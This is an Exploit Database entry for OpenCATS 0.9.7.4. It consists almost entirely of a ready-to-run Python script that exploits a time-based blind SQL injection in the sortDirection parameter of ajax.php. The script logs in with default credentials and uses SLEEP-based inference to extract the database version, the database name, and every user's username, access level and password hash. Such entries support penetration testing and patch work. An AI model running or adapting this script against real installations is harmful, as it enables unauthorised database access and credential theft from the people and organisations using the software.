This website uses cookies We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you’ve provided to them or that they’ve collected from your use of their services. You consent to our cookies if you continue to use our website. Show details Allow all cookies Use necessary cookies only EXPLOIT DATABASE EXPLOITS GHDB PAPERS SHELLCODES SEARCH EDB SEARCHSPLOIT MANUAL SUBMISSIONS ONLINE TRAINING OpenCATS 0.9.7.4 - SQL Injection EDB-ID: 52579 CVE: N/A EDB Verified: Author: GABRIEL RODRIGUES Type: WEBAPPS Exploit: / Platform: MULTIPLE Date: 2026-05-27 Vulnerable App: # Exploit Title: OpenCATS 0.9.7.4 - SQL Injection # Exploit Author: Gabriel Rodrigues (TEXUGO) from HAKAI # Vendor Homepage: https://www.opencats.org # Software Link: https://github.com/opencats/OpenCATS # Version: <= 0.9.7.4 # Tested on: Ubuntu 22.04 / Apache2 / PHP / MariaDB 10.6 # CVE: N/A (GHSA-8mc8-5gw6-c7w4) import requests, json, sys, time url = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:8888" user = sys.argv[2] if len(sys.argv) > 2 else "admin" pw = sys.argv[3] if len(sys.argv) > 3 else "cats" delay = 1.5 s = requests.Session() s.get(f"{url}/index.php") s.post(f"{url}/index.php?m=login&a=attemptLogin", data={"username": user, "password": pw}, allow_redirects=True) def sqli(payload): t = time.time() s.get(f"{url}/ajax.php", timeout=30, params={"f": "getDataGridPager", "i": "candidates:candidatesListByViewDataGrid", "p": json.dumps({"sortBy": "dateModifiedSort", "sortDirection": payload, "rangeStart": 0, "maxResults": 15})}) return time.time() - t def blind(cond): return sqli(f"DESC,IF(({cond}),SLEEP({delay}),0)") > delay * 0.6 def extract(query, maxlen=100): out = "" for i in range(1, maxlen + 1): if blind(f"LENGTH({query})<{i}"): break lo, hi = 32, 126 while lo < hi: mid = (lo + hi) // 2 lo, hi = (mid + 1, hi) if blind(f"ORD(SUBSTRING({query},{i},1))>{mid}") else (lo, mid) out += chr(lo) return out base = sqli("DESC") slp = sqli("DESC,SLEEP(2)") print(f"baseline={base:.2f}s sleep(2)={slp:.2f}s") assert slp > base + 1, "not vulnerable or no candidate rows" print("injection confirmed\n") print("version:", extract("@@version", 30)) print("database:", extract("DATABASE()", 20)) n = int(extract("(SELECT COUNT(*) FROM user)", 3)) print(f"users: {n}\n") for i in range(n): name = extract(f"(SELECT user_name FROM user ORDER BY user_id LIMIT {i},1)", 40) level = extract(f"(SELECT access_level FROM user ORDER BY user_id LIMIT {i},1)", 5) hash_ = extract(f"(SELECT password FROM user ORDER BY user_id LIMIT {i},1)", 62) print(f" {name} level={level} hash={hash_}") Copy Tags: Advisory/Source: Link Databases Links Sites Solutions Exploits Search Exploit-DB OffSec Courses and Certifications Google Hacking Submit Entry Kali Linux Learn Subscriptions Papers SearchSploit Manual VulnHub OffSec Cyber Range Shellcodes Exploit Statistics Proving Grounds Penetration Testing Services EXPLOIT DATABASE BY OFFSEC TERMS PRIVACY ABOUT US FAQ COOKIES © OffSec Services Limited 2026. All rights reserved.